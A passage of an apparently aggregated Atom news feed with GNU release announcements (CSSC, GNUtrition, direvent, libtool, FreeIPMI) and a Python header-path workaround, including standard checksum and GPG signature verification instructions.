	<content type="html" xml:lang="en-US">&lt;p&gt;Did your &lt;code&gt;pip install&lt;/code&gt; fail with &lt;code&gt;longintrepr.h: No such file or directory&lt;/code&gt;? The file likely &lt;em&gt;is&lt;/em&gt; on your system, but it sometime or another it was moved, &lt;span style=&quot;white-space: nowrap;&quot;&gt;from &lt;code&gt;/usr/include/python3.xx/longintrepr.h&lt;/code&gt;&lt;/span&gt; &lt;span style=&quot;white-space: nowrap;&quot;&gt;to &lt;code&gt;/usr/include/python3.xx/cpython/longintrepr.h&lt;/code&gt;&lt;/span&gt;. The &lt;em&gt;proper&lt;/em&gt; fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this: &lt;/p&gt;
&lt;pre&gt;ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include&lt;/pre&gt;</content>
	<author>
	  <name>gbenson</name>
	   <uri>https://gbenson.net</uri> 
	</author>
	<source>
	  <title type="html">gbenson.net</title>
	  
	  <link rel="self" href="https://gbenson.net/feed/"/>
	  <id>https://gbenson.net</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">CSSC-1.5.0-rc3 is released</title>
	<link href="https://savannah.gnu.org/news/?id=10906"/>
	<id>https://savannah.gnu.org/news/?id=10906</id>
	<updated>2026-06-17T11:05:21+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;This is to announce CSSC-1.5.0-rc3, a beta release.
&lt;br /&gt;

&lt;br /&gt;
This is a release candidate for a future stable 1.5.0 release.
&lt;br /&gt;

&lt;br /&gt;
There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;
The following people contributed changes to this release:
&lt;br /&gt;

&lt;br /&gt;
  Greg A. Woods (1)
&lt;br /&gt;
  Paul Bryce (2)
&lt;br /&gt;
  James Youngman (43)
&lt;br /&gt;

&lt;br /&gt;
James
&lt;br /&gt;
==================================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU CSSC home page:
&lt;br /&gt;
    &lt;a href=&quot;https://gnu.org/s/CSSC/&quot;&gt;https://gn ... rg/s/CSSC/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0-rc3.tar.gz&quot;&gt;https://alpha.gnu ... -1.5.0-rc3.tar.gz&lt;/a&gt;
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/CSSC/CSSC-1.5.0-rc3.tar.gz.sig&quot;&gt;https://alpha.gnu ... .0-rc3.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href=&quot;https://www.gnu.org/order/ftp.html&quot;&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: CSSC-1.5.0-rc3.tar.gz
&lt;br /&gt;
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
&lt;br /&gt;
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
&#39;shasum -a 256&#39;.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with &#39;cksum -a sha3 -l 256 --base64&#39;
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2015-12-24 [SC]
&lt;br /&gt;
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
&lt;br /&gt;
  uid   James Youngman &amp;lt;james@youngman.org&amp;gt;
&lt;br /&gt;
  uid   James Youngman &amp;lt;jay@gnu.org&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the &#39;gpg --verify&#39; command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href=&quot;mailto:james@youngman.org&quot;&gt;james@youngman.org&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 88DD9E08C5DDACB9
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- &#39;&lt;a href=&quot;https://savannah.gnu.org/project/release-gpgkeys.php?group=CSSC&amp;amp;download=1&quot;&gt;https://savannah. ... SC&amp;amp;download=1&lt;/a&gt;&#39; | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href=&quot;https://ftp.gnu.org/gnu/gnu-keyring.gpg&quot;&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the CSSC git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href=&quot;https://https.git.savannah.gnu.org/git/CSSC.git&quot;&gt;https://https.git ... .org/git/CSSC.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 26add75e45f79cd493409ee2f0c2646849314aad tagged as v1.5.0-rc3.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href=&quot;https://gitweb.git.savannah.gnu.org/gitweb/?p=CSSC.git;a=shortlog;h=v1.5.0-rc3&quot;&gt;https://gitweb.gi ... tlog;h=v1.5.0-rc3&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned CSSC directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog 43b5b054701732df7ce24eb59821010c39c60cb6..v1.5.0-rc3
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.72
&lt;br /&gt;
  Automake 1.17
&lt;br /&gt;
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 1.5.0-rc3 (2026-06-14)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
        * Some typos in error message have been fixed.
&lt;br /&gt;

&lt;br /&gt;
        * admin now supports combination of -r with -n as well as the
&lt;br /&gt;
          portable combination of -r with -i.
&lt;br /&gt;

&lt;br /&gt;
        * Support &quot;sccs sact&quot;; the sact program already existed but
&lt;br /&gt;
	  could not previously be invoked via the sccs wrapper.
&lt;br /&gt;
	  Thanks to Greg A. Woods for this improvement.
&lt;br /&gt;

&lt;br /&gt;
        * In some places we now prefer &quot;grep -E&quot; to &quot;egrep&quot; in order
&lt;br /&gt;
          to avoid a warning message from GNU grep.  Some very old
&lt;br /&gt;
          versions of Unix may not support this option.
&lt;br /&gt;

&lt;br /&gt;
        * Various C++ portability improvements.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Updated version of gnulib.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Updated version of googletest; this is now at the last
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;          version at which it still supported building with Automake.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>James Youngman</name>
	   <uri>https://savannah.gnu.org/projects/cssc</uri> 
	</author>
	<source>
	  <title type="html">GNU CSSC - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dcssc"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=cssc</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Confidentiality and the digital euro</title>
	<link href="https://taler.net/en/news/2026-08.html"/>
	<id>https://taler.net/en/news/2026-08.html</id>
	<updated>2026-06-09T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article&gt;
             organized by CNIL
           &lt;/article&gt;</content>
	<author>
	  <name>GNU Taler news</name>
	   <uri>https://taler.net//</uri> 
	</author>
	<source>
	  <title type="html">Taler.net</title>
	  <subtitle type="html">News posts published by Taler about changes related to Taler, releases and events</subtitle>
	  <link rel="self" href="https://taler.net/en/rss.xml"/>
	  <id>https://taler.net//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUtrition 0.33</title>
	<link href="https://savannah.gnu.org/news/?id=10903"/>
	<id>https://savannah.gnu.org/news/?id=10903</id>
	<updated>2026-06-05T22:37:48+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.
&lt;br /&gt;

&lt;br /&gt;
Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system&#39;s package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don&#39;t, you may still request to those who do to start including GNUtrition.
&lt;br /&gt;

&lt;br /&gt;
Thank you to everyone who tested/used GNUtrition 0.33&#39;s release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href=&quot;http://gnu.org/software/gnutrition/&quot;&gt;http://gnu.org/so ... tware/gnutrition/&lt;/a&gt;. This release can be obtained from the ftp.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href=&quot;ftp://ftp.gnu.org/gnu/gnutrition/&quot;&gt;ftp://ftp.gnu.o ... gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
&lt;a href=&quot;http://ftp.gnu.org/gnu/gnutrition/&quot;&gt;http://ftp.gnu.or ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/gnutrition/&quot;&gt;https://ftp.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The FTP mirror list is available at &lt;a href=&quot;https://gnu.org/order/ftp.html&quot;&gt;https://gnu.or ... order/ftp.html&lt;/a&gt;, and &lt;a href=&quot;https://ftpmirror.gnu.org/gnutrition/&quot;&gt;https://ftpmirror ... u.org/gnutrition/&lt;/a&gt; will automatically redirect you to a nearby mirror.
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href=&quot;mailto:bug-gnutrition@gnu.org&quot;&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href=&quot;https://lists.gnu.org/mailman/listinfo/bug-gnutrition&quot;&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).
&lt;br /&gt;

&lt;br /&gt;
Happy hacking and calorie counting!!&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Anton McClure</name>
	   <uri>https://savannah.gnu.org/projects/gnutrition</uri> 
	</author>
	<source>
	  <title type="html">GNUtrition - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dgnutrition"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=gnutrition</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU direvent version 5.5</title>
	<link href="https://savannah.gnu.org/news/?id=10902"/>
	<id>https://savannah.gnu.org/news/?id=10902</id>
	<updated>2026-06-05T19:39:17+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Version 5.5 of GNU direvent is &lt;a href=&quot;http://ftp.gnu.org/gnu/direvent/direvent-5.5.tar.gz&quot;&gt;available for downloads&lt;/a&gt;. New in this version:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All subprocesses are terminated before exit
&lt;/li&gt;
&lt;li&gt;New configuration statement: shutdown-timeout
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
See the &lt;a href=&quot;https://git.gnu.org.ua/direvent.git/plain/NEWS?h=v5.5&amp;amp;id=9b05efb8d03af3f7616465e478342c9313222a7d&quot;&gt;NEWS&lt;/a&gt; file for more details.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Sergey Poznyakoff</name>
	   <uri>https://savannah.gnu.org/projects/direvent</uri> 
	</author>
	<source>
	  <title type="html">GNU direvent - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Ddirevent"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=direvent</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">libtool-2.6.1 released [beta]</title>
	<link href="https://savannah.gnu.org/news/?id=10901"/>
	<id>https://savannah.gnu.org/news/?id=10901</id>
	<updated>2026-06-04T18:42:18+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Libtoolers!
&lt;br /&gt;

&lt;br /&gt;
The Libtool Team is pleased to announce the release of libtool 2.6.1, a beta release.
&lt;br /&gt;

&lt;br /&gt;
GNU Libtool hides the complexity of using shared libraries behind a
&lt;br /&gt;
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
&lt;br /&gt;
hides the complexity of loading dynamic runtime libraries (modules)
&lt;br /&gt;
behind a consistent, portable interface.
&lt;br /&gt;

&lt;br /&gt;
There have been 34 commits by 14 people in the 37 weeks since 2.6.0.
&lt;br /&gt;

&lt;br /&gt;
See the NEWS below for a brief summary.
&lt;br /&gt;

&lt;br /&gt;
Thanks to everyone who has contributed!
&lt;br /&gt;
The following people contributed changes to this release:
&lt;br /&gt;

&lt;br /&gt;
  Alexandre Janniaux (4)
&lt;br /&gt;
  Alexey Samsonov (1)
&lt;br /&gt;
  Anthony Mallet (1)
&lt;br /&gt;
  Arnold (1)
&lt;br /&gt;
  Dima Pasechnik (1)
&lt;br /&gt;
  Frederic Berat (1)
&lt;br /&gt;
  Ileana Dumitrescu (15)
&lt;br /&gt;
  KO Myung-Hun (4)
&lt;br /&gt;
  Kirill Makurin (1)
&lt;br /&gt;
  Mintsuki (1)
&lt;br /&gt;
  Nicolas Boulenguez (1)
&lt;br /&gt;
  Olly Betts (1)
&lt;br /&gt;
  Patrice Dumas (1)
&lt;br /&gt;
  Richard J. Mathar (1)
&lt;br /&gt;

&lt;br /&gt;
Ileana
&lt;br /&gt;
 [on behalf of the libtool maintainers]
&lt;br /&gt;
==================================================================
&lt;br /&gt;

&lt;br /&gt;
Here is the GNU libtool home page:
&lt;br /&gt;
    &lt;a href=&quot;https://gnu.org/s/libtool/&quot;&gt;https://gnu. ... g/s/libtool/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.gz&quot;&gt;https://alpha.gnu ... tool-2.6.1.tar.gz&lt;/a&gt;   (2.1MB)
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.xz&quot;&gt;https://alpha.gnu ... tool-2.6.1.tar.xz&lt;/a&gt;   (1.1MB)
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures:
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.gz.sig&quot;&gt;https://alpha.gnu ... -2.6.1.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;
  &lt;a href=&quot;https://alpha.gnu.org/gnu/libtool/libtool-2.6.1.tar.xz.sig&quot;&gt;https://alpha.gnu ... -2.6.1.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href=&quot;https://www.gnu.org/order/ftp.html&quot;&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.1.tar.gz
&lt;br /&gt;
  SHA256 sum:   52264ab2fca9464dea9f6a0355d39e49b18f40468b9b6dbc3d151a0dba307a4b
&lt;br /&gt;
  SHA3-256 sum: 59826fb74043179c38a393448b92dfcdfbe9046fd3b23a7079665984f22d6688
&lt;br /&gt;

&lt;br /&gt;
  File: libtool-2.6.1.tar.xz
&lt;br /&gt;
  SHA256 sum:   3fb21f1e99fcdd8565c9b00fb1371db457b82a0da7cba273e1617c954b0ad1ee
&lt;br /&gt;
  SHA3-256 sum: 614bc3ed43293be989ec3305dae42fc4e81234429477490734a40f6d3316560b
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA256 checksum with either sha256sum, sha256, or
&lt;br /&gt;
&#39;shasum -a 256&#39;.
&lt;br /&gt;

&lt;br /&gt;
Verify the SHA3-256 checksum with &#39;cksum -a sha3 -l 256 --base64&#39;
&lt;br /&gt;
from coreutils-9.8.
&lt;br /&gt;

&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify libtool-2.6.1.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
The signature should match the fingerprint of the following key:
&lt;br /&gt;

&lt;br /&gt;
  pub   rsa4096 2021-09-23 [SC]
&lt;br /&gt;
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumitrescu95@gmail.com&amp;gt;
&lt;br /&gt;
  uid   Ileana Dumitrescu &amp;lt;ileanadumi95@protonmail.com&amp;gt;
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don&#39;t have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to retrieve
&lt;br /&gt;
or refresh it, and then rerun the &#39;gpg --verify&#39; command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href=&quot;mailto:ileanadumitrescu95@gmail.com&quot;&gt;ileanadumitrescu95@gmail.com&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 6570EA01146F7354
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- &#39;&lt;a href=&quot;https://savannah.gnu.org/project/release-gpgkeys.php?group=libtool&amp;amp;download=1&quot;&gt;https://savannah. ... ol&amp;amp;download=1&lt;/a&gt;&#39; | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
As a last resort to find the key, you can try the official GNU
&lt;br /&gt;
keyring:
&lt;br /&gt;

&lt;br /&gt;
  wget -q &lt;a href=&quot;https://ftp.gnu.org/gnu/gnu-keyring.gpg&quot;&gt;https://ftp.gnu.o ... u/gnu-keyring.gpg&lt;/a&gt;
&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.1.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
This release is based on the libtool git repository, available as
&lt;br /&gt;

&lt;br /&gt;
  git clone &lt;a href=&quot;https://https.git.savannah.gnu.org/git/libtool.git&quot;&gt;https://https.git ... g/git/libtool.git&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
with commit 79de7bb71bc0a1167f4c4ae8bd897976a0ff2b51 tagged as v2.6.1.
&lt;br /&gt;

&lt;br /&gt;
For a summary of changes and contributors, see:
&lt;br /&gt;

&lt;br /&gt;
  &lt;a href=&quot;https://gitweb.git.savannah.gnu.org/gitweb/?p=libtool.git;a=shortlog;h=v2.6.1&quot;&gt;https://gitweb.gi ... shortlog;h=v2.6.1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or run this command from a git-cloned libtool directory:
&lt;br /&gt;

&lt;br /&gt;
  git shortlog v2.6.0..v2.6.1
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.73
&lt;br /&gt;
  Automake 1.18.1
&lt;br /&gt;
  Gnulib 2026-05-12 722f67e9716bf914c18d468336c1f4f9e5cce915
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 2.6.1 (2026-06-04) [beta]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New features:
&lt;br /&gt;

&lt;br /&gt;
  - Pass &#39;resource-dir=*&#39; flag for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise explicit shared library arguments when linking dependency
&lt;br /&gt;
    libraries to a shared library, like exists when linking a program.
&lt;br /&gt;

&lt;br /&gt;
  - Support OpenMP with macOS clang by processing &#39;-Xpreprocessor
&lt;br /&gt;
    -fopenmp&#39; as one token.
&lt;br /&gt;

&lt;br /&gt;
** Bug fixes:
&lt;br /&gt;

&lt;br /&gt;
  - Store cygpath file path conversions correctly for MSYS2 and MSVC.
&lt;br /&gt;

&lt;br /&gt;
  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.
&lt;br /&gt;

&lt;br /&gt;
  - Separate Objective C and C++ cache check for proper tagging support.
&lt;br /&gt;

&lt;br /&gt;
  - Fix in darwin to support values with spaces.
&lt;br /&gt;

&lt;br /&gt;
  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
&lt;br /&gt;
    generated DLL on OS/2.
&lt;br /&gt;

&lt;br /&gt;
  - Remove unused variable on OS/2, which could cause issues with static
&lt;br /&gt;
    library generation if defined.
&lt;br /&gt;

&lt;br /&gt;
  - Recognise more static linking options for Clang.
&lt;br /&gt;

&lt;br /&gt;
  - Fix emscripten CXX postdeps using non-PIC sysroot.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid deprecated option &#39;-o&#39; with MSVC compilers and replace with &#39;-Fe&#39;.
&lt;br /&gt;

&lt;br /&gt;
  - Avoid overlinking of dependency libraries on ELF systems.
&lt;br /&gt;

&lt;br /&gt;
  - Ensure old libraries are not archived.
&lt;br /&gt;

&lt;br /&gt;
** Changes in supported systems or compilers:
&lt;br /&gt;

&lt;br /&gt;
  - Add support for SlimCC compiler.
&lt;br /&gt;

&lt;br /&gt;
  - Add support for *-ironclad-gnu.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Enjoy!&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ileana Dumitrescu</name>
	   <uri>https://savannah.gnu.org/projects/libtool</uri> 
	</author>
	<source>
	  <title type="html">GNU Libtool - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dlibtool"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=libtool</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUtrition 0.33.0rc5</title>
	<link href="https://savannah.gnu.org/news/?id=10899"/>
	<id>https://savannah.gnu.org/news/?id=10899</id>
	<updated>2026-06-02T21:04:17+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;A test release of GNUtrition, 0.33.0rc5, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release fixes bugs from 0.33.0rc1-rc4, removes inaccurate algorithm constants, removes additional unnecessary dependencies, improves reliability/usability on non-GNU systems, among other general improvements and bug fixes. Version 0.33.0 (the first ftp.gnu.org release of GNUtrition since 2012) is expected to be released by June 5th. Any and all testing for the upcoming release will be greatly appreciated. Please use the bug-gnutrition and help-gnutrition mailing lists for your bug reports and/or other questions.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href=&quot;http://www.gnu.org/software/gnutrition/&quot;&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href=&quot;ftp://alpha.gnu.org/gnu/gnutrition/&quot;&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;http://alpha.gnu.org/gnu/gnutrition/&quot;&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href=&quot;https://alpha.gnu.org/gnu/gnutrition/&quot;&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href=&quot;mailto:bug-gnutrition@gnu.org&quot;&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href=&quot;https://lists.gnu.org/mailman/listinfo/bug-gnutrition&quot;&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Anton McClure</name>
	   <uri>https://savannah.gnu.org/projects/gnutrition</uri> 
	</author>
	<source>
	  <title type="html">GNUtrition - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dgnutrition"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=gnutrition</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">FreeIPMI 1.6.18 Released</title>
	<link href="https://savannah.gnu.org/news/?id=10898"/>
	<id>https://savannah.gnu.org/news/?id=10898</id>
	<updated>2026-06-02T17:39:55+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;o Support new &quot;altbridging&quot; workaround in ipmi-sensors.
&lt;br /&gt;
o Fix exploitable buffer overflows in the following ipmi-oem 
&lt;br /&gt;
  commands:
&lt;br /&gt;
  - ipmi-oem dell get-active-directory-config
&lt;br /&gt;
  - ipmi-oem fujitsu get-sel-entry-long-text
&lt;br /&gt;

&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/freeipmi/freeipmi-1.6.18.tar.gz&quot;&gt;https://ftp.gnu.o ... pmi-1.6.18.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Albert Chu</name>
	   <uri>https://savannah.gnu.org/projects/freeipmi</uri> 
	</author>
	<source>
	  <title type="html">GNU FreeIPMI - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dfreeipmi"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=freeipmi</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Free software activities in May 2026</title>
	<link href="https://kelar.org/~bandali/news/fsa-202605.html"/>
	<id>tag:kelar.org,2026:~bandali/rss20.xml:news/fsa-202605</id>
	<updated>2026-06-01T02:30:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;
Hello and welcome to my May 2026 free software activities report.
A lot&#39;s been going on in my life offline so I took a bit of a hiatus
from doing these reports, but I&#39;ve had a fairly productive month of
May so I thought it&#39;d be nice to do another one for this month.
&lt;/p&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-gnu-fsf&quot;&gt;
&lt;h2 id=&quot;gnu-fsf&quot;&gt;GNU &amp;amp; FSF&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-gnu-fsf&quot;&gt;
&lt;ul class=&quot;org-ul&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gnu.org/software/emacs/&quot;&gt;GNU Emacs&lt;/a&gt;:

&lt;ul class=&quot;org-ul&quot;&gt;
